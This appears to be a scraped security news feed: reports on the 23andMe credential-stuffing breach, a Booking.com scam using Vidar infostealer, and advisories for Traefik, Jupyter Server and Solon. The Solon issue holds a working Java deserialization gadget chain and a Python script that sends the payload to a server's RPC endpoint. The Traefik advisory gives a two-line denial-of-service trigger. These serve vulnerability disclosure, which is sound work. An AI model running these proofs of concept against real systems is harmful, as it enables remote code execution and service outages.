23andMe has released new details about the credential stuffing attack that took place in October.

In October we reported that the data of as many as seven million 23andMe customers were for sale on criminal forums following a password attack against the genomics company.

Now, a filing with the US Securities and Exchange Commission (SEC) has provided some more insight into the data theft. The filed amendment supplements the original Form 8-K submitted by 23andMe.

The amendment says that an investigation showed that the attacker was able to directly access the accounts of roughly 0.1% of 23andMe’s users, which is about 14,000 of its 14 million customers. The attacker accessed the accounts using credential stuffing which is where someone tries existing username and password combinations to see if they can log in to a service. These combinations are usually stolen from another breach and then put up for sale on the dark web. Because people often reuse passwords across accounts, cybercriminals buy those combinations and then use them to login on other services and platforms.

With the breached accounts at their disposal, the attacker used 23andMe’s opt-in DNA Relatives (DNAR) feature—which matches users with their genetic relatives—to access information about millions of other users. According to a spokesperson the DNAR profiles of roughly 5.5 million customers could be accessed in this way, plus the Family Tree profile information of 1.4 million additional DNA Relative participants.

The 5.5 million DNAR Profiles contained sensitive details including self-reported information like display names and locations, as well as shared DNA percentages for DNA Relatives matches, family names, predicted relationships, and ancestry reports.

For a subset of these accounts, the stolen data might contain health-related information based upon the user’s genetics.

The 1.4 million Family Tree profiles contain display names and relationship labels, plus other information that a user may have added, including birth year and location.

23andMe is in the process of notifying users impacted by the incident. The company said it believes that the attacker activity is contained, and that it is working to have the publicly-posted information taken down.

When the breach was first announced, 23andMe urged its users to ensure they have strong passwords, to avoid reusing passwords from other sites, and to enable multi-factor authentication (MFA).

Our Mark Stockley noted at the time:

> “Respectfully, we would like to see 23andMe reach a different conclusion. Telling users to choose strong passwords and not to reuse them is great advice that just isn’t working. It’s good in theory but fails in practice. In a world where users have tens or even hundreds of logins to manage, password reuse and weak passwords that are easy to remember are inevitable.”

And it looks as if they listened to us. On the 23andMe blog the updated article about the breach now says:

> “We have taken steps to further protect customer data, including requiring all existing customers to reset their password and requiring two-step verification for all new and existing customers. The company will continue to invest in protecting our systems and data.”

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   **Check the vendor’s advice.** Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
*   **Change your password.** You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
*   **Enable two-factor authentication (2FA).** If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   **Watch out for fake vendors.** The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify any contacts using a different communication channel.
*   **Take your time.** Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
*   **Set up identity monitoring.** Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your and your family’s personal information by using Malwarebytes Identity Theft Protection.

 23andMe says, er, actually some genetic and health data might have been accessed in recent breach 

Traefik is an open source HTTP reverse proxy and load balancer. The traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration. This issue has been addressed in versions 2.10.6 and 3.0.0-beta5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

**Summary**

The traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration.

**Details**

While attempting to set up Traefik to handle traffic for Docker containers, I observed in the webUI a rule with the following information:

Host(traefik-service) | webwebsecure | traefik-service@docker | traefik-service

I assumed that this is something internal; however, I wondered why it would have a host rule on the web entrypoint configured.

So I have send a request with that hostname with curl -v --resolve "traefik-service:80:xxx.xxx.xxx.xxx" http://traefik-service. That made my whole server unresponsive.

I assume the name comes from a docker container with that name, traefik itself:

    localhost ~ # docker ps
    CONTAINER ID   IMAGE                                                   COMMAND                  CREATED             STATUS         PORTS                                                                                                NAMES
    d1414e74aec7   traefik:v2.10                                           "/entrypoint.sh trae…"   4 minutes ago       Up 4 minutes   0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 127.0.0.1:8080->8080/tcp   traefik.service
    

**PoC**

1.  Start traefik with docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 --name foo -p 8080:8080 traefik:v2.10 --api.insecure=true --providers.docker
    
2.  curl -v --resolve "foo:80:127.0.0.1" http://foo
    

looks like this creates an endless loop of request.

Knowing the name of the docker container seems to be enough to trigger this, if the docker backend is used.

**Impact**

Server is unreachable and uses 100% CPU

The Jupyter Server provides the backend (i.e. the core services, APIs, and REST endpoints) for Jupyter web applications like Jupyter notebook, JupyterLab, and Voila. Unhandled errors in API requests coming from an authenticated user include traceback information, which can include path information. There is no known mechanism by which to trigger these errors without authentication, so the paths revealed are not considered particularly sensitive, given that the requesting user has arbitrary execution permissions already in the same environment. A fix has been introduced in commit `0056c3aa52` which no longer includes traceback information in JSON error responses. For compatibility, the traceback field is present, but always empty. This commit has been included in version 2.11.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

**Impact**

Unhandled errors in API requests include traceback information, which can include path information. There is no known mechanism by which to trigger these errors without authentication, so the paths revealed are not considered particularly sensitive, given that the requesting user has arbitrary execution permissions already in the same environment.

**Patches**

CVE-2023-49080: Server errors include tracebacks with path information

The DNA testing company believes that the attack has now been contained and is notifying impacted individuals.

DNA testing company 23andMe has released further details surrounding an October data breach, where user profile information had been accessed and downloaded at the hands of a threat actor.

On Oct. 1, a threat actor made a post on the Dark Web claiming to possess profile information of 23andMe users; later, the perpetrators released 4 million more records they alleged to be stolen from the company. This led the company to launch an investigation alongside third-party experts. In light of the investigation, 23andMe now reports that the information that was accessed without authorization is a small percentage of user accounts (0.1%).

It also confirmed that the incident was a credential-stuffing attack in which usernames and passwords used for the 23andMe website were the same credentials used for other websites, from which they were stolen.

The compromised information varies from user to user but includes ancestry and health information. The threat actor also accessed user files related to 23andMe's DNA Relatives feature and proceeded to post this information online. 

23andMe now believes that the activity of the threat actor has been contained and is providing notice to impacted individuals. It also requires password changes from its users and implemented a two-step authentication login process for its website. 

Multiple class action claims have been filed against the company, and it expects to spend anywhere between $1 million to $2 million in expenses related to the breach in its third fiscal quarter. 

"The recent breach at 23andMe is a sobering reminder of the sensitivity of genetic data and the need for robust cybersecurity measures. The data accessed is not just a collection of email addresses or passwords but intimate details of an individual's genetic makeup — information that could have serious implications for privacy and could potentially be misused," Javvad Malik, lead security awareness advocate at KnowBe4, wrote in an emailed statement. "Credential stuffing is a known threat and relies on the reuse of passwords across multiple services, highlighting the importance of unique passwords and the use of multifactor authentication to protect accounts — but this incident also shows that the responsibility doesn't end with the end-user. Companies holding such sensitive data must constantly evaluate their security posture and educate users about the best security practices."

23andMe: Data Breach Was a Credential-Stuffing Attack

Ssolon <= 2.6.0 and <=2.5.12 is vulnerable to Deserialization of Untrusted Data.

**Issue Description**

We recently discovered that Solon provides 'Fury' as a serialization and deserialization solution for RPC. However, our research has found that the corresponding component has a security vulnerability. Attackers can execute a JNDI injection attack using a carefully constructed attack payload.

**Vulnerability Localization**

  
The vulnerability is located at line 25 of the org.noear.solon.serialization.fury.FuryActionExecutor class, as shown in the figure above. Although Fury provides a built-in blacklist to defend against potential deserialization attacks, we will next demonstrate how to bypass this blacklist to carry out an attack.

**Vulnerability Reproduction****Configuring the RPC Service**

Issue #145 has already provided a simple configuration for an RPC server. We just need to add the following dependencies in the pom.xml file:

    <dependency>
      <groupId>org.noear</groupId>
      <artifactId>solon.serialization.fury</artifactId>
      <version>2.6.0</version>
    </dependency>
    <dependency>
      <groupId>com.caucho</groupId>
      <artifactId>quercus</artifactId>
      <version>4.0.66</version>
    </dependency>
    

**Configuring a Malicious LDAP Server**

We use ysoserial(https://github.com/frohoff/ysoserial) to set up a malicious LDAP server for subsequent JNDI injection attacks(Note that in this instance, we are demonstrating using the well-known exploit chain CommonsCollections2. To achieve a similar effect, please configure the corresponding dependencies on the RPC server side.).

**Proof of Concept**

We can obtain the serialized data required for the attack through the following PoC (Proof of Concept).

    RegistryContext registryContext = new RegistryContext("127.0.0.1", 8989, null);
    MemoryModel memoryModel = new MemoryModel();
    memoryModel.bind("evil", registryContext);
    ContextImpl context = new ContextImpl("rmi://localhost:8888/8tr4qv", memoryModel, null);
    Constructor c = QBindingEnumeration.class.getDeclaredConstructors()[0];
    c.setAccessible(true);
    ArrayList<String> list = new ArrayList<>();
    list.add("/evil/8tr4qv");
    QBindingEnumeration enumeration = (QBindingEnumeration) c.newInstance(context, list);
    XStringForFSB xString = Reflections.createWithoutConstructor(XStringForFSB.class);
    Reflections.setFieldValue(xString, "m_strCache", "nxjkas");
    
    HashMap map1 = new HashMap();
    HashMap map2 = new HashMap();
    map1.put("yy",enumeration);
    map1.put("zZ",xString);
    map2.put("yy",xString);
    map2.put("zZ",enumeration);
    
    HashMap s = new HashMap();
    setFieldValue(s, "size", 2);
    Class nodeC;
    try {
      nodeC = Class.forName("java.util.HashMap$Node");
    }
    catch ( ClassNotFoundException e ) {
      nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);
    
    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
    setFieldValue(s, "table", tbl);
    
    byte[] poc = FuryUtil.fury.serialize(s);
    new FileOutputStream(new File("/tmp/serifury")).write(poc);
    

Subsequently, we can use the Python script below to send the malicious serialized data to the server, completing the exploitation (this Python script is also referenced from Issue #145).

    with open("/tmp/serifury","rb") as f:
        body= f.read()
        print(len(body))
        burp0_url = "http://127.0.0.1:8080/rpc/v1/user/getUser"
        burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
        ct = "application/fury"
        burp0_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0",

        res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body, proxies=proxy)
        print(res.text)

CVE-2023-48967: A new RCE vulnerability · Issue #226 · noear/solon

By Deeba Ahmed
Vidar infostealer is capable of stealing browsing data, including passwords, cryptocurrency wallet credentials, and other personal information.
This is a post from HackRead.com Read the original post: Sophisticated Booking.com Scam Targeting Guests with Vidar Infostealer

The ‘How To’ guide for targeting Booking.com customers is being offered for sale on the dark web, as well as on underground cybercrime forums, including Russian-speaking platforms such as XSS.IS.

Cybersecurity firm Secureworks is alerting Booking.com customers to a recently identified scam wherein hotels’ Booking.com accounts are compromised to deceive users into divulging their payment details.

This fraudulent activity was detected in October 2023. Researchers have observed that cybercriminals successfully obtained access to hotel login credentials through the utilization of the **Vidar information stealer**.

While this tool is not commonly employed in such scams, in this instance, the Vidar infostealer is utilized to infiltrate the hotel’s Booking.com portal. This unauthorized access enables cybercriminals to peruse upcoming bookings and communicate directly with guests while posing as hotel staff.

Researchers from Secureworks Counter Threat Unit™ (CTU) suspect that this may be part of a broader campaign specifically aimed at targeting Booking.com users. The purloined data is presumed to be traded on underground marketplaces or forums, where it can command a higher price due to the increased potential for defrauding unsuspecting guests.

Characterizing it as a sophisticatedly crafted scam, researchers highlight that the hackers devised an email aimed at gaining the trust of **hotel employees**. The deceptive message purportedly originated from a former guest who reported losing their ID or other valuables, seeking assistance from the hotel staff to locate the items.

The subtlety of this approach meant the employee did not find it suspicious, especially since the email lacked attachments or dubious links, creating the illusion of a genuine request. Consequently, the employee responded and offered assistance.

However, a link within the email, allegedly containing a photo of the lost item, actually served to install the Vidar infostealer. Once activated, this malware illicitly acquires the hotel’s Booking.com login credentials, facilitating unauthorized access to guest reservation details.

The hook in this scam creates a sense of urgency for the guests. The attacker contacts those having reservations at the hotel through Booking.com. Guests receive urgent emails from the hotel demanding immediate payment confirmation to avoid booking cancellation. This doesn’t raise any suspicions.

Rather, it panics the guests, and they click on the provided link. According to Secureworks’ **report**, this leads them to a fake website designed to look like Booking.com, which was created to steal their payment data.

The scammers scam the guests by draining their accounts using the stolen payment data. Moreover, they sell Booking.com credentials on the **Dark Web** for up to $2,000.

The Booking.com phishing email and one of the forums selling Booking.com exploit (Screenshot credit: Secureworks)

Although Booking.com hasn’t been directly breached, the company is cooperating with impacted hotels to improve security and help affected customers. The company emphasized using machine learning to detect suspicious activity and advised hotels and customers to stay vigilant and never provide payment details without verifying the website.

“Due to the rigorous controls and the machine learning capabilities we employ, we can detect and block the overwhelming majority of suspicious activity before it impacts our partners or customers. We have also been sharing additional tips and updates with our partners about what they can do to protect themselves and their businesses, along with the latest information on malware and phishing so that they are as up-to-date as possible on the latest trends that we’re seeing.”

“It’s good to remember that no legitimate transaction will ever require a customer to provide their credit card details by phone, email, or text message (including WhatsApp)”, Booking.com stated.

This incident highlights the evolving tactics of cybercriminals and the importance of vigilance, even for seemingly harmless requests. Hotels should be especially cautious of suspicious emails and enable multi-factor authentication on Booking.com and other platforms to add an extra layer of security.

**Chris Hauk**, Consumer Privacy Advocate at Pixel Privacy, shared his comments with Hackread.com, stating that this scam is designed to target hotels with good reputations.

“This scam preys on hotels that offer good customer service, making the hotel employees believe that they are aiding a customer in retrieving a lost item. This is the first time I’ve heard of scammers taking that approach. The second step in the scam involves using a customer’s Booking.com information to convince the customer that they need to make a payment immediately.”

“Organizations like Booking.com need to work with their partners to ensure that all systems and applications are kept up to date to close security holes. Also, employee training to make them aware of how scammers work is also a must” Hauk added.
